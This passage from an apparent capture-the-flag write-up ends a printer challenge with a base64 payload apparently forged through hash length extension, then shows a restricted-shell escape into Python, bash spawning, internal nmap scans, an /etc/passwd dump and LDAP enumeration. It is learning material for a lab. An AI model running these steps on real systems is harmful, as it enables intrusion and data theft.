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","signature":"3a598fe4f3c06149e8bef83fbcdc8dff75aca081d9199f5879348e6cd5eb915a","secret_length":16,"algorithm":"SHA256"}
After uploading the JSON data, I can visit zysygy.log to see:
Documents queued for printing ============================= Biggering.pdf Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf LowEarthOrbitFreqUsage.txt Best Winter Songs Ever List.doc Win People and Influence Friends.pdf Q4 Game Floor Earnings.xlsx Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml Troll_Pay_Chart.xlsxWhich means the answer is Troll_Pay_Chart.xlsx
Relevance
This challenge is relevant in two ways: the first is that hash extension attacks have been used in real world applications, although these don't seem too common. The second relevant part is that printers can allow attackers access into a network, have been the target of attacks, and are often overlooked when it comes to keeping software up to date.Objective 8: Kerberoasting on an Open Fire
I found this by far the hardest challenge this year, spending almost three full days just on this, and wouldn't have made it without the help of John_r2 and elakamarcus. Thank you both so much for your help!
The objective is to "obtain the secret sleigh research document from a host on the Elf University domain". To begin with, we can register on the ElfU Portal.
Note on the email used to register
Apparently it needs to be a "real domain", but does not seem to need to be a real email. I tried using a Canary Token email, which did not work, so I guess there must be some sort of domain whitelisting going on.Getting a shell on grades.elfu.org
Figuring out what to do from here was my first challenge.
My initial attempts were unfruitful.
I scanned for any other open ports sudo nmap -sVU grades.elfu.org
, but that didn't find anything of note, so I checked the register site and found an interesting comment <!--Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021, v0calprezents, Hexatonics, and reindeers4fears. Wow, good times!-->
. That might be useful later.
Shell injection didn't seem to work (entering anything that began with "e" just logged me out, and anything else was just ignored
Interestingly, pressing Ctrl-z caused the message "You may only type exit to leave the exam", so the program must've been handling interrupts, but is it handling all of them? It seemed to be, but it wasn't handling end of file (Ctrl-D), which dropped me into a distinctive Python shell:
Traceback (most recent call last):
File "/opt/grading_system", line 41, in
main()
File "/opt/grading_system", line 26, in main
a = input(": ").lower().strip()
EOFError
Recon
A Python shell gives me basically free reign over the machine; I started by importing subprocess so that I can run any Unix command I want, and then moved to checking if nmap was installed since that'll tell me what other hosts are in the network that might be interesting.
>>> subprocess.run('nmap', capture_output=True)
CompletedProcess(args='nmap', returncode=255, stdout=b"Nmap 7.80 ( https://nmap.org )\nUsage: nmap [Scan Type(s)] [Options] {target specification}\nTARGET SPECIFICATION:\n Can pass hostnames...
nmap is installed! That makes life easier. I can use ifconfig to see what subnet to scan (cleaning up the last output for readability):
>>> subprocess.run('ifconfig', capture_output=True)
CompletedProcess(args='ifconfig', returncode=0, stdout=b'eth0: flags=4163 mtu 1500\n inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255\n ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)\n RX packets 47052044 bytes 3641070495 (3.6 GB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 51565974 bytes 5762966012 (5.7 GB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\nlo: flags=73 mtu 65536\n inet 127.0.0.1 netmask 255.0.0.0\n loop txqueuelen 1000 (Local Loopback)\n RX packets 1500071 bytes 120326857 (120.3 MB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 1500071 bytes 120326857 (120.3 MB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\n', stderr=b'')
>>> subprocess.run(['nmap', '-PE', '-sn', '172.17.0.0/24'], capture_output=True)
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-30 05:49 UTC
Nmap scan report for 172.17.0.1
Host is up (0.00097s latency).
Nmap scan report for grades.elfu.local (172.17.0.2)
Host is up (0.00081s latency).
Nmap scan report for 172.17.0.3
Host is up (0.00047s latency).
Nmap scan report for 172.17.0.4
Host is up (0.00032s latency).
Nmap scan report for 172.17.0.5
Host is up (0.00023s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.82 seconds
Warning: You are not root -- using TCP pingscan rather than ICMP
>>> subprocess.run(['nmap', '-sV', '172.17.0.1-5'], capture_output=True)
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-30 05:54 UTC
Nmap scan report for 172.17.0.1
Host is up (0.00035s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for grades.elfu.local (172.17.0.2)
Host is up (0.00038s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 172.17.0.3
Host is up (0.00042s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Nmap scan report for 172.17.0.4
Host is up (0.00026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Nmap scan report for 172.17.0.5
Host is up (0.00026s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
42/tcp open nameserver?
53/tcp open domain (generic dns response: NOTIMP)
88/tcp open kerberos-sec Heimdal Kerberos (server time: 2021-12-30 05:51:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ELFU)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ELFU)
464/tcp open kpasswd5?
636/tcp open ssl/ldap (Anonymous bind OK)
1024/tcp open msrpc Microsoft Windows RPC
3268/tcp open ldap (Anonymous bind OK)
3269/tcp open ssl/ldap (Anonymous bind OK)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/30%Time=61CD48FF%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,2B,"\\0\\)\\0\\x06\\x81\\x80\\0\\x01\\0\\0\\0\\0\\0\\x01\\x07version
SF:\\x04bind\\0\\0\\x10\\0\\x03\\0\\0\\)\\x02\\0\\0\\0\\0\\0\\0\\0")%r(DNSStatusRequestTCP,
SF:E,"\\0\\x0c\\0\\0\\x90\\x04\\0\\0\\0\\0\\0\\0\\0\\0");
Service Info: Host: SHARE30; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 14.61 seconds
As you can see above, the host is listening on IP 172.17.0.2 with a netmask 255.255.0.0, so it makes sense to scan 172.17.0.0/24. Nmap found 172.17.0.1, 172.17.0.2, 172.17.0.3, 172.17.0.4 and 172.17.0.5, so I ran a TCP scan to discover which services they had running.
At this point, I got fed up with trying to read everything in subprocess, so I spawned a new shell using import pty;pty.spawn("/bin/bash")
The amount going on here felt pretty overwhelming, so I just dumped stuff somewhat at random in the hope it might eventually be useful. None of it particularly was, so feel free to skip this bit, although it did let me correct the errors in my grades.
Here's/etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:104:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:106::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin yxjpnjkzii:x:1000:1000::/home/yxjpnjkzii:/bin/bash qcrimzlsnu:x:1001:1001::/home/qcrimzlsnu:/bin/bash gqognrrjri:x:1002:1002::/home/gqognrrjri:/opt/grading_system gheuggozuu:x:1003:1003::/home/gheuggozuu:/opt/grading_system dsqzwuexzb:x:1004:1004::/home/dsqzwuexzb:/bin/bash rflkkildwi:x:1005:1005::/home/rflkkildwi:/bin/bash nvbltrzizx:x:1006:1006::/home/nvbltrzizx:/opt/grading_system qzqxqlqbxa:x:1007:1007::/home/qzqxqlqbxa:/opt/grading_system pxcxxicodh:x:1008:1008::/home/pxcxxicodh:/opt/grading_system xvjxawxtce:x:1009:1009::/home/xvjxawxtce:/bin/bash psmifmgudo:x:1010:1010::/home/psmifmgudo:/bin/bash bngiyfhmzs:x:1011:1011::/home/bngiyfhmzs:/opt/grading_system tlcrdddprf:x:1012:1012::/home/tlcrdddprf:/bin/bash ckezrjqxua:x:1013:1013::/home/ckezrjqxua:/opt/grading_system cadoclsztx:x:1014:1014::/home/cadoclsztx:/opt/grading_system dwsqppodce:x:1015:1015::/home/dwsqppodce:/opt/grading_system ntmzoitzsy:x:1016:1016::/home/ntmzoitzsy:/opt/grading_system vawbodlypr:x:1017:1017::/home/vawbodlypr:/opt/grading_system jylmhafhzc:x:1018:1018::/home/jylmhafhzc:/opt/grading_system vokguioyhg:x:1019:1019::/home/vokguioyhg:/bin/bash jrelqrltit:x:1020:1020::/home/jrelqrltit:/opt/grading_system jqrmefvsoo:x:1021:1021::/home/jqrmefvsoo:/opt/grading_system iqytuvjazj:x:1022:1022::/home/iqytuvjazj:/opt/grading_system vtprbgqurk:x:1023:1023::/home/vtprbgqurk:/bin/bash curbvknvsf:x:1024:1024::/home/curbvknvsf:/opt/grading_system gzldmywtqp:x:1025:1025::/home/gzldmywtqp:/opt/grading_system zsfhffdmdg:x:1026:1026::/home/zsfhffdmdg:/opt/grading_system jnjebpgcdp:x:1027:1027::/home/jnjebpgcdp:/opt/grading_system bgcrcglzcx:x:1028:1028::/home/bgcrcglzcx:/opt/grading_system myafgxotah:x:1029:1029::/home/myafgxotah:/opt/grading_system sicsciofge:x:1030:1030::/home/sicsciofge:/opt/grading_system fbsjgeyymg:x:1031:1031::/home/fbsjgeyymg:/opt/grading_system rhkwapqkvy:x:1032:1032::/home/rhkwapqkvy:/opt/grading_system pgsskmkkhb:x:1033:1033::/home/pgsskmkkhb:/bin/bash drkxpeefnz:x:1034:1034::/home/drkxpeefnz:/bin/bash wwdjcvtakz:x:1035:1035::/home/wwdjcvtakz:/opt/grading_system agmzrsrszq:x:1036:1036::/home/agmzrsrszq:/opt/grading_system zhbqapbuql:x:1037:1037::/home/zhbqapbuql:/opt/grading_system juinvmiyvi:x:1038:1038::/home/juinvmiyvi:/bin/bash gfqphuqbgi:x:1039:1039::/home/gfqphuqbgi:/bin/bash lyrycoitvj:x:1040:1040::/home/lyrycoitvj:/opt/grading_system ibtsycjdtz:x:1041:1041::/home/ibtsycjdtz:/bin/bash quyvsksmtf:x:1042:1042::/home/quyvsksmtf:/opt/grading_system ftdefieavg:x:1043:1043::/home/ftdefieavg:/opt/grading_system mmwamkowph:x:1044:1044::/home/mmwamkowph:/opt/grading_system wvqkwapitx:x:1045:1045::/home/wvqkwapitx:/opt/grading_system kdhwidjrnf:x:1046:1046::/home/kdhwidjrnf:/bin/bash hlwkoobqjl:x:1047:1047::/home/hlwkoobqjl:/opt/grading_system oxudyxavlg:x:1048:1048::/home/oxudyxavlg:/opt/grading_system vtdyjmcexj:x:1049:1049::/home/vtdyjmcexj:/opt/grading_system xrijfictlx:x:1050:1050::/home/xrijfictlx:/opt/grading_system okaizwuncm:x:1051:1051::/home/okaizwuncm:/opt/grading_system tfoezhsibn:x:1052:1052::/home/tfoezhsibn:/opt/grading_system iuwuvckfvi:x:1053:1053::/home/iuwuvckfvi:/opt/grading_system detnfajrkq:x:1054:1054::/home/detnfajrkq:/opt/grading_system vvdafpikok:x:1055:1055::/home/vvdafpikok:/opt/grading_system yjapzwoqqb:x:1056:1056::/home/yjapzwoqqb:/opt/grading_system muxmiimshw:x:1057:1057::/home/muxmiimshw:/bin/bash cznwgmgfbw:x:1058:1058::/home/cznwgmgfbw:/opt/grading_system qlpfensbou:x:1059:1059::/home/qlpfensbou:/opt/grading_system gxpckgrpwa:x:1060:1060::/home/gxpckgrpwa:/opt/grading_system uvpynpfdne:x:1061:1061::/home/uvpynpfdne:/opt/grading_system qabaypaoes:x:1062:1062::/home/qabaypaoes:/opt/grading_system sapdfhwxbr:x:1063:1063::/home/sapdfhwxbr:/opt/grading_system ftcngoczhx:x:1064:1064::/home/ftcngoczhx:/opt/grading_system cvlerxwoso:x:1065:1065::/home/cvlerxwoso:/bin/bash sinikbbvuf:x:1066:1066::/home/sinikbbvuf:/opt/grading_system fnuimrmlhx:x:1067:1067::/home/fnuimrmlhx:/opt/grading_system szreapaybk:x:1068:1068::/home/szreapaybk:/opt/grading_system kvaqdwnawi:x:1069:1069::/home/kvaqdwnawi:/opt/grading_system isoshsbork:x:1070:1070::/home/isoshsbork:/opt/grading_system ucxzgxwlqh:x:1071:1071::/home/ucxzgxwlqh:/opt/grading_system ftbbjampsi:x:1072:1072::/home/ftbbjampsi:/opt/grading_system twemnvixoz:x:1073:1073::/home/twemnvixoz:/opt/grading_system fzpabmhyry:x:1074:1074::/home/fzpabmhyry:/opt/grading_system
Details from connecting to 172.17.0.5's LDAP server
>>> import ldap3
>>> server = ldap3.Server('172.17.0.5', get_info = ldap3.ALL, port=636, use_ssl=True)
>>> connect = ldap3.Connection(server)
>>> connection.bind()
Traceback (most recent call last):
File "", line 1, in
NameError: name 'connection' is not defined
>>> connect.bind()
True
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 2, 3
Naming contexts:
CN=Schema,CN=Configuration,DC=elfu,DC=local
CN=Configuration,DC=elfu,DC=local
DC=elfu,DC=local
DC=DomainDnsZones,DC=elfu,DC=local
DC=ForestDnsZones,DC=elfu,DC=local
Supported controls:
1.2.840.113556.1.4.1338 - Verify name - Control - MICROSOFT
1.2.840.113556.1.4.1339 - Domain scope - Control - MICROSOFT
1.2.840.113556.1.4.1340 - Search options - Control - MICROSOFT
1.2.840.113556.1.4.1341 - RODC DCPROMO - Control - MICROSOFT
1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
1.2.840.113556.1.4.1504 - Attribute scoped query - Control - MICROSOFT
1.2.840.113556.1.4.2064 - Show recycled - Control - MICROSOFT
1.2.840.113556.1.4.319 - LDAP Simple Paged Results - Control - RFC2696
1.2.840.113556.1.4.417 - LDAP server show deleted objects - Control - MICROSOFT
1.2.840.113556.1.4.473 - Sort Request - Control - RFC2891
1.2.840.113556.1.4.529 - Extended DN - Control - MICROSOFT
1.2.840.113556.1.4.801 - Security descriptor flags - Control - MICROSOFT
1.2.840.113556.1.4.801 - Security descriptor flags - Control - MICROSOFT
1.2.840.113556.1.4.805 - Tree delete - Control - MICROSOFT
1.2.840.113556.1.4.841 - Directory synchronization - Control - MICROSOFT
Supported features:
1.2.840.113556.1.4.1670 - Active directory V51 - Feature - MICROSOFT
1.2.840.113556.1.4.1791 - Active directory LDAP Integration - Feature - MICROSOFT
1.2.840.113556.1.4.1935 - Active directory V60 - Feature - MICROSOFT
1.2.840.113556.1.4.2080 - Active directory V61 R2 - Feature - MICROSOFT
1.2.840.113556.1.4.800 - Active directory - Feature - MICROSOFT
Supported SASL mechanisms:
GSS-SPNEGO, GSSAPI, NTLM
Schema entry:
CN=Aggregate,CN=Schema,CN=Configuration,DC=elfu,DC=local
Vendor name: Samba Team (http://samba.org)
Vendor version: 4.3.11-Ubuntu
Other:
configurationNamingContext:
CN=Configuration,DC=elfu,DC=local
defaultNamingContext:
DC=elfu,DC=local
rootDomainNamingContext:
DC=elfu,DC=local
schemaNamingContext:
CN=Schema,CN=Configuration,DC=elfu,DC=local
isSynchronized:
TRUE
dsServiceName:
CN=NTDS Settings,CN=SHARE30,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=elfu,DC=local
serverName:
CN=SHARE30,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=elfu,DC=local
dnsHostName:
share30.elfu.local
ldapServiceName:
elfu.local:share30$@ELFU.LOCAL
currentTime:
20211231061655.0Z
highestCommittedUSN:
4786
domainFunctionality:
3
forestFunctionality:
3
domainControllerFunctionality:
4
isGlobalCatalogReady:
TRUE
The Python grades scripts, to let me correct their records
import pty;pty.spawn("/bin/bash")
powershell just quits
cat /opt/grading_system
#!/usr/bin/python3 -i
# Created by:
# Alabaster Snowball
import signal
import os
import grades
from pandas import *
from termcolor import colored, cprint
def signal_handler(sig, frame):
print("You may only type 'exit' to leave the exam!")
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTSTP, signal_handler)
def main():
os.umask(7)
os.system('/usr/bin/clear')
while True:
cprint("===================================================", "cyan")
cprint("= Elf University Student Grades Portal =", "cyan")
cprint("= (Reverts Everyday 12am EST) =", "cyan")
cprint("===================================================", "cyan")
cprint("1. Print Current Courses/Grades.", "green")
cprint("e. Exit", "green")
a = input(": ").lower().strip()
if a.startswith("1"):
os.system('/usr/bin/clear')
user_grades = grades.get_grades()
formatted_user_grades = [[user_grades[key][0], user_grades[key][1], user_grades[key][2]] for key in user_grades.keys()]
formatted_user_grades.insert(0,["Shortname","Description","Grade"])
lines = str(DataFrame(formatted_user_grades)).split('\n')[1:]
lines.insert(1,"="* len(lines[0]))
